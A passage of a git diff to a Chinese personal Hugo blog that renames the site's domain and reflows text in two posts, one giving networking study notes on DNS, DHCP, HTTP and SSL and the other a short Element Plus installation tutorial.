-<a class=next href=https://xiaochenabc123.github.io/posts/155/><span class=title>Next »</span><br><span>计算机组成原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><hr><p>应用层（对接用户的一层，定义应用与应用之间的通信规则）</p><p>应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet</p><p>DNS（Domain Name System，域名系统）</p><p>使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）</p><p>域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）</p><p>例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域</p><p>顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov</p><p>顶级域搭配二级域就是可以完成一个IP映射服务了</p><p>DNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）</p><p>DNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP</p><p>本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76</p><p>域名由 ICANN 管理全世界的域名系统工作</p><p>DNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器</p><p>DHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）</p><p>DHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）</p><p>DHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址</p><p>HTTP协议（HyperText Transfer Protocol，超文本传输协议）</p><p>HTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输</p><p>服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端</p><p>请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成</p><p>响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成</p><p>HTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成</p><p>SSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输</p><p>先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密</p><p>SSL安全握手的过程：</p><p>客户端向服务端发送协议版本，支持的加密算法，随机数1</p><p>服务端回应，发送确定的加密算法，数字证书，随机数2</p><p>上面2次是不进行加密传输的，下面的才进行加密传输</p><p>客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端</p><p>服务端接收到加密数据时，使用私有密钥解密这个随机数3</p><p>客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥</p><p>客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/>计算机网络</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/157/><span class=title>« Prev</span><br><span>简单使用Element Plus组件库</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/155/><span class=title>Next »</span><br><span>计算机组成原理学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/157/index.html b/posts/157/index.html
index eacf940c..62a0ceee 100644
--- a/posts/157/index.html
+++ b/posts/157/index.html
@@ -4,61 +4,61 @@
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
import 'element-plus/dist/index.css'
按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
import Components from 'unplugin-vue-components/vite'
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-<template>
<el-button>I am ElButton</el-button>
</template>
<script>
import { ElButton } from 'element-plus'
export default {
components: { ElButton },
}
</script>
"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/157/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Element Plus组件库"><meta property="og:description" content="Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+<template> <el-button>I am ElButton</el-button> </template> <script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } </script> "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/157/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Element Plus组件库"><meta property="og:description" content="Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
import 'element-plus/dist/index.css'
按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
import Components from 'unplugin-vue-components/vite'
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-<template>
<el-button>I am ElButton</el-button>
</template>
<script>
import { ElButton } from 'element-plus'
export default {
components: { ElButton },
}
</script>
"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/157/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-03T17:40:00+00:00"><meta property="article:modified_time" content="2022-11-03T17:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Element Plus组件库"><meta name=twitter:description content="Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+<template> <el-button>I am ElButton</el-button> </template> <script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } </script> "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/157/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-03T17:40:00+00:00"><meta property="article:modified_time" content="2022-11-03T17:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Element Plus组件库"><meta name=twitter:description content="Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库
 安装Element Plus
 npm install element-plus &ndash;save
 或者
 yarn add element-plus
 导入Element Plus
-import ElementPlus from 'element-plus'
import 'element-plus/dist/index.css'
按需导入
+import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入
 安装插件
 npm install -D unplugin-vue-components unplugin-auto-import
 如果是使用Vite则配置vite.config.ts文件
 导入并且启用插件
-import AutoImport from 'unplugin-auto-import/vite'
import Components from 'unplugin-vue-components/vite'
...
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()],
}),
Components({
resolvers: [ElementPlusResolver()],
}),
],
这个组件库还支持module导入的方式手动按需使用，例如：
-<template>
<el-button>I am ElButton</el-button>
</template>
<script>
import { ElButton } from 'element-plus'
export default {
components: { ElButton },
}
</script>
"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Element Plus组件库","item":"https://xiaochenabc123.github.io/posts/157/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Element Plus组件库","name":"简单使用Element Plus组件库","description":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus'\rimport 'element-plus/dist/index.css'\r按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite'\rimport Components from 'unplugin-vue-components/vite'\r...\rplugins: [\rAutoImport({\rresolvers: [ElementPlusResolver()],\r}),\rComponents({\rresolvers: [ElementPlusResolver()],\r}),\r],\r这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt;\r\u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rimport { ElButton } from 'element-plus'\rexport default {\rcomponents: { ElButton },\r}\r\u0026lt;/script\u0026gt;\r","keywords":["vue","Element"],"articleBody":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus –save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus'\rimport 'element-plus/dist/index.css'\r按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite'\rimport Components from 'unplugin-vue-components/vite'\r...\rplugins: [\rAutoImport({\rresolvers: [ElementPlusResolver()],\r}),\rComponents({\rresolvers: [ElementPlusResolver()],\r}),\r],\r这个组件库还支持module导入的方式手动按需使用，例如：\nI am ElButton\r","wordCount":"71","inLanguage":"en","datePublished":"2022-11-03T17:40:00Z","dateModified":"2022-11-03T17:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/157/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Element Plus组件库</h1><div class=post-meta><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Element-Plus%e7%bb%84%e4%bb%b6%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库</p><p>安装Element Plus</p><p>npm install element-plus &ndash;save</p><p>或者</p><p>yarn add element-plus</p><p>导入Element Plus</p><pre><code>import ElementPlus from 'element-plus'
-import 'element-plus/dist/index.css'
-</code></pre><p>按需导入</p><p>安装插件</p><p>npm install -D unplugin-vue-components unplugin-auto-import</p><p>如果是使用Vite则配置vite.config.ts文件</p><p>导入并且启用插件</p><pre><code>import AutoImport from 'unplugin-auto-import/vite'
-import Components from 'unplugin-vue-components/vite'
-...
-plugins: [
-    AutoImport({
-        resolvers: [ElementPlusResolver()],
-    }),
-    Components({
-        resolvers: [ElementPlusResolver()],
-    }),
-],
-</code></pre><p>这个组件库还支持module导入的方式手动按需使用，例如：</p><pre><code>&lt;template&gt;
-    &lt;el-button&gt;I am ElButton&lt;/el-button&gt;
-&lt;/template&gt;
-&lt;script&gt;
-    import { ElButton } from 'element-plus'
-        export default {
-            components: { ElButton },
-        }
-&lt;/script&gt;
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vue/>vue</a></li><li><a href=https://xiaochenabc123.github.io/tags/element/>Element</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/158/><span class=title>« Prev</span><br><span>WebSocket学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/156/><span class=title>Next »</span><br><span>计算机网络学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：
+<template> <el-button>I am ElButton</el-button> </template> <script> import { ElButton } from 'element-plus' export default { components: { ElButton }, } </script> "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Element Plus组件库","item":"https://chenjunlinabc.github.io/posts/157/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Element Plus组件库","name":"简单使用Element Plus组件库","description":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt; \u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ElButton } from 'element-plus' export default { components: { ElButton }, } \u0026lt;/script\u0026gt; ","keywords":["vue","Element"],"articleBody":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus –save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用，例如：\nI am ElButton ","wordCount":"71","inLanguage":"en","datePublished":"2022-11-03T17:40:00Z","dateModified":"2022-11-03T17:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/157/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Element Plus组件库</h1><div class=post-meta><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Element-Plus%e7%bb%84%e4%bb%b6%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库</p><p>安装Element Plus</p><p>npm install element-plus &ndash;save</p><p>或者</p><p>yarn add element-plus</p><p>导入Element Plus</p><pre><code>import ElementPlus from 'element-plus'
+import 'element-plus/dist/index.css'
+</code></pre><p>按需导入</p><p>安装插件</p><p>npm install -D unplugin-vue-components unplugin-auto-import</p><p>如果是使用Vite则配置vite.config.ts文件</p><p>导入并且启用插件</p><pre><code>import AutoImport from 'unplugin-auto-import/vite'
+import Components from 'unplugin-vue-components/vite'
+...
+plugins: [
+    AutoImport({
+        resolvers: [ElementPlusResolver()],
+    }),
+    Components({
+        resolvers: [ElementPlusResolver()],
+    }),
+],
+</code></pre><p>这个组件库还支持module导入的方式手动按需使用，例如：</p><pre><code>&lt;template&gt;
+    &lt;el-button&gt;I am ElButton&lt;/el-button&gt;
+&lt;/template&gt;
+&lt;script&gt;
+    import { ElButton } from 'element-plus'
+        export default {
+            components: { ElButton },
